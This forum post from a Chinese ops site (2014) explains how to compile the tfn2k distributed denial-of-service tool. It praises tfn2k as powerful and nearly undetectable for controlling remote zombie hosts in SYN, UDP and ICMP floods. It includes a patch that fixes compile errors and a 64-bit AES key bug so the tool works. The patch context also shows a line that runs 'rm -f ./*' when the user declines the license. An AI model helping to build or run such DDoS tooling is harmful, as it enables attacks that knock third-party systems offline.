设为首页 收藏本站
查看: 650|回复: 0

[经验分享] 关于分布式拒绝攻击(DDOS)软件tfn2k的编译及使用

[复制链接]
累计签到:77 天
连续签到:1 天
发表于 2014-8-14 10:01:46 | 显示全部楼层 |阅读模式
tfn2k是目前功能最强性能最好的DDOS攻击工具,几乎不可能被察觉。使用了分布式客户服务器功能,加密技术及其它类的功能,它能被用于控制任意数量的远程机器,以产生随机匿名的拒绝服务攻击和远程访问。
它可以控制大量类UNIX平台的主机作为傀儡主机,同时向一台目标机发起synflood/udpflood/icmpflood等攻击行为。

网上下载的代码,感觉是作者故意留了些bug,导致编译有错误,使用也有错误。
这里就碰到问题,一一记录,留待之后备查。

    src/ip.h 里需要做一些修改,否则编译会有错误,发生重复定义;
    提示open with O_CREAT in second argument needs 3 arguments时,给open函数加上第三个参数0777;
    aes_setkey函数中,使用key变量前,先对其置零;
    aes.h中,将typedef unsigned long u4byte;改成typedef unsigned int  u4byte; 在64位的系统下,GCC会认为unsigned long是8个字节,而tfn2k把它当4个字节使用,从而导致在aes_setkey函数中误用。 最终导致的问题就是,在使用tfn时,一直提示“Sorry, passwords do not match.” , 挺坑爹的, 原来tfn2k不兼容64位。

所有改动,见下面的patch。



    ---
    aes.c | 1 +
    aes.h | 2 +-
    disc.c | 2 +-
    ip.h | 2 ++
    mkpass.c | 2 +-
    5 files changed, 6 insertions(+), 3 deletions(-)
    diff --git a/aes.c b/aes.c
    index d918791..5186f16 100644
    --- a/aes.c
    +++ b/aes.c
    @@ -9,6 +9,7 @@ aes_setkey (char *password)
    {
    u4byte keylen = strlen (password) * 8;
    u4byte key[strlen (password) / 4];
    + memset(key, 0, sizeof(key));
    memcpy (key, password, strlen (password));
    return (set_key (key, keylen));
    }
    diff --git a/aes.h b/aes.h
    index ea65f17..cba4409 100644
    --- a/aes.h
    +++ b/aes.h
    @@ -12,7 +12,7 @@ void base64_out (char *, unsigned char *, int);
    typedef unsigned char u1byte; /* an 8 bit unsigned character type */
    typedef unsigned short u2byte; /* a 16 bit unsigned integer type */
    -typedef unsigned long u4byte; /* a 32 bit unsigned integer type */
    +typedef unsigned int u4byte; /* a 32 bit unsigned integer type */
    typedef signed char s1byte; /* an 8 bit signed character type */
    typedef signed short s2byte; /* a 16 bit signed integer type */
    typedef signed long s4byte; /* a 32 bit signed integer type */
    diff --git a/disc.c b/disc.c
    index 3303ac6..0ec6cf6 100644
    --- a/disc.c
    +++ b/disc.c
    @@ -27,7 +27,7 @@ main (void)
    {
    case 'y':
    case 'Y':
    - close (open ("agreed", O_WRONLY | O_CREAT | O_TRUNC));
    + close (open ("agreed", O_WRONLY | O_CREAT | O_TRUNC, 0777));
    break;
    default:
    system ("/bin/rm -f ./*");
    diff --git a/ip.h b/ip.h
    index 2c1c39d..62594dc 100644
    --- a/ip.h
    +++ b/ip.h
    @@ -121,10 +121,12 @@ struct icmp
    };
    #ifndef in_addr
    +/*
    struct in_addr
    {
    unsigned long int s_addr;
    };
    +*/
    #endif
    char *inet_ntoa (struct in_addr);
    diff --git a/mkpass.c b/mkpass.c
    index d32e92d..84f16c3 100644
    --- a/mkpass.c
    +++ b/mkpass.c
    @@ -84,7 +84,7 @@ dufus:
    goto dufus;
    for (i = 0; i <= strlen (p); i++)
    c[i] = p[i];
    - fd = open ("pass.c", O_WRONLY | O_TRUNC | O_CREAT);
    + fd = open ("pass.c", O_WRONLY | O_TRUNC | O_CREAT, 0777);
    write (fd, header, strlen (header));
    for (i = 0; i < 31; i++)
    {
    --



运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-23776-1-1.html 上篇帖子: ip_forward参数对Linux内核转发影响分析 下篇帖子: ffmpeg只转封装不转码的代码实现
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表